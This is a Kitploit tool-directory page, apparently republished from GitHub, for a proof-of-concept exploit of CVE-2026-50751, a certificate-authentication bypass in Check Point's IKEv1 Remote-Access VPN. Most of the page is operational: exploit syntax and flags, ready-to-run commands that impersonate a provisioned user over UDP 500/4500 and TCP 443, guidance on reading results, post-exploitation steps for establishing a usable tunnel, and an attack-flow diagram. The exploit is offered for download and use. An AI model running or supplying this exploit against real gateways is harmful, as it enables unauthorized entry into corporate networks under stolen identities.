Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-50751 — Check PointのRemote-Access VPN(IKEv1)における証明書認証のバイパス。 | Kitploit
ツール/GitHubGitHub/ull0a/cve-2026-50751
エクスプロイトフレームワーク脆弱性分析エクスプロイトネットワークセキュリティ暗号化ペネトレーションテスト認証レッドチーミングリモートアクセスツール
GitHubull0a/cve-2026-50751

CVE-2026-50751

Check PointのRemote-Access VPN(IKEv1)における証明書認証のバイパス。

1391ヶ月前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-50751 — PoC

Check PointのリモートアクセスVPN(IKEv1)における証明書認証のバイパス。

スクリーンショット

説明

CVE-2026-50751は、Check Pointのikedプロセスにおける認証バイパスであり、ホットフィックスsk185033が適用されていないR81.10、R82、R82.10のバージョンに存在します。この脆弱性により、秘密鍵、パスワード、有効な証明書なしで、プロビジョニングされた任意のリモートアクセスユーザーとして認証することが可能になります。

脆弱なikedはVendor ID VPNExtFeaturesからフラグ(ビット0x4)を読み取り、それが有効になっている場合、verify_peer_auth / verifyMessagePhase1を省略します。その結果:

証明書の署名(所持証明)が検証されない。

信頼チェーンが検証されない。

subject DNがプロビジョニングされたユーザーに解決されることのみが確認される。

CN=が対象ユーザーと一致する自己署名証明書を偽造し、無効な署名とともに送信するだけで十分です。ゲートウェイがフェーズ1を受け入れた場合、そのユーザーとして認証されたことになります(ISAKMP SAはそのDNの下に保存されます)。

これはIKE(UDP 500/4500)およびVisitor Mode(TCPT、TCP 443)上で機能します。

使用方法

構文

cve-2026-50751 -host <IP|hostname> -user <username> [opciones]

オプション

フラグ説明デフォルト
-hostゲートウェイの IP またはホスト名 (必須)—
-userなりすます RA ユーザー名 (必須)—
-portポート: 500、4500 (UDP) または 443 (TCPT)500
-orgICA の組織 (O=)。省略した場合、ポート 443 のゲートウェイの TLS 証明書から導出される—
-ouユーザー DN の組織単位 (OU=)。Check Point がユーザーに対して保存している OU と完全に一致する必要があるusers
-timeout操作ごとのタイムアウト (Go の任意の期間指定を受け付ける: 6s、500ms、1m)6s
-retriesゲートウェイが最初の試行で応答しない場合の msg1 の再試行回数1
-tcptVisitor Mode トランスポート (TCP 上の TCPT、TLS なし) を強制する。-port 443 の場合は自動的に有効になるfalse

-ou に関する注意: デフォルト値は users だが、実際には RA ユーザーは通常特定のグループ (例えば VPN_GROUP) に属している。mgmt_cli show user name "<usuario>" details-level "full" --format json で確認し、distinguished-name フィールドを探すこと。OU が正しくないと、DN がプロビジョニング済みのどのユーザーにも解決されないため、ゲートウェイが msg5 を黙って破棄する (NO_RESPONSE または INCONCLUSIVE)。

例

UDP/500 による基本的な攻撃 (O= の自動導出あり)

sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim

Linux/macOSでは、送信元としてUDPポート500をバインドするためにsudoが必要です。sudoを使用できない場合、PoCはエフェメラルポートにフォールバックし、多くのゲートウェイは送信元ポートが標準でないためパケットを無視します。

組織とOUを手動で指定する

ゲートウェイが443でTLS証明書を公開していない場合、または自動的に導出されたO=がプロビジョニングされたユーザーのものと一致しない場合に便利です:

./cve-2026-50751 \
  -host 203.0.113.10 \
  -port 500 \
  -user victim \
  -org "gw-754bab.acme.s34394" \
  -ou VPN_GROUP

ビジターモード(TCP/443上のTCPT)

-port 443 を指定すると自動的に有効になります:

./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -org "ACME" -ou users

-tcpt で明示的に強制します(ゲートウェイの Visitor Mode が 443 以外のポートで待ち受けている場合に備えます):

./cve-2026-50751 -host 203.0.113.10 -port 8443 -user victim -tcpt -org "ACME"

NAT-T (UDP/4500) について

マシンとゲートウェイ間の NAT を通過するため。PoC は RFC 3948 の NON-ESP マーカーをパケットの先頭に付加します:

sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -org "ACME"

タイムアウトと再試行の調整

低速なリンクやレート制限のあるゲートウェイで役立ちます:

./cve-2026-50751 \
  -host 203.0.113.10 \
  -user victim \
  -timeout 10s \
  -retries 3 \
  -org "ACME"

出力の解釈

出力意味対処方法
[+] [BYPASSED] + 内部 IPバイパスが成功し、なりすましたユーザーとして IKEv1 SA が確立されたポストエクスプロイトのセクションを参照
[-] [REJECTED]ゲートウェイは msg5 を復号したが認証を拒否したユーザーがプロビジョニングされていない、OU が誤っている、またはゲートウェイにパッチが適用されている (sk185033)
[-] [NO_CERT_REALM]ゲートウェイが Main Mode で証明書認証を提供していないゲートウェイが Certificate/Mixed モードではない、または IKEv2 のみを受け付ける
[-] [NO_RESPONSE]msg1 への応答がないファイアウォールが UDP/500 をブロックしている、iked が動作していない、またはレート制限
[!] [INCONCLUSIVE]決定的な応答がない数分後に再試行する。tcpdump と iked のログを確認する

ポストエクスプロイト

[BYPASSED] が得られると、PoC は完全な IKEv1 セキュリティアソシエーションを確立し、ゲートウェイは Remote Access プールの仮想 IP を割り当てている。ゲートウェイの観点から見ると、あなたは企業ネットワーク内でなりすましたユーザーである。

ただし、PoC は使用可能なデータトンネルを提供しない (Quick Mode / IPsec ESP を実装していない)。ネットワーク上の位置を活用するにはフェーズ 2 を完了する必要がある。これは以下によって実現できる:

  • 操作可能な証明書を用いた strongSwan または OpenVPN: クライアントが偽造された DN を持つ証明書を使用するよう設定し、バイパス後に Quick Mode をネゴシエートする。VID を注入し、クライアント側の署名検証をスキップするためにフローを変更する必要がある。
  • Quick Mode で PoC を拡張する: IKEv1 フェーズ 2 (exchange type 32) と ESP の transforms を実装する。かなりの作業量だが、機能するトンネルが可能になる。
  • Office モード: ゲートウェイが証明書による XAUTH 後に Office Mode を受け入れるデプロイメントでは、すでに完了したフェーズ 1 が最初のステップであり、残りは設定に依存する。

攻撃フロー

Atacante                                             Gateway (iked vulnerable)
   │                                                          │
   │─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
   │                                                          │  Lee flag 0x4
   │                                                          │  Marca verify_peer_auth = skip
   │◀── msg2: SA aceptado ────────────────────────────────────│
   │                                                          │
   │─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
   │◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
   │                                                          │
   │  Deriva SKEYID, SKEYID_e, IV                             │
   │                                                          │
   │─── msg5 (cifrado): ID=DN forjado + CERT autofirmado     │
   │                    + firma aleatoria ───────────────────▶│
   │                                                          │  Omite verificación
   │                                                          │  de firma
   │                                                          │  Resuelve DN → usuario
   │◀── msg6 (cifrado): SA establecida ───────────────────────│
   │                                                          │
   │  Descifra msg6 con SKEYID_e → prueba de autenticación    │

ツールをダウンロード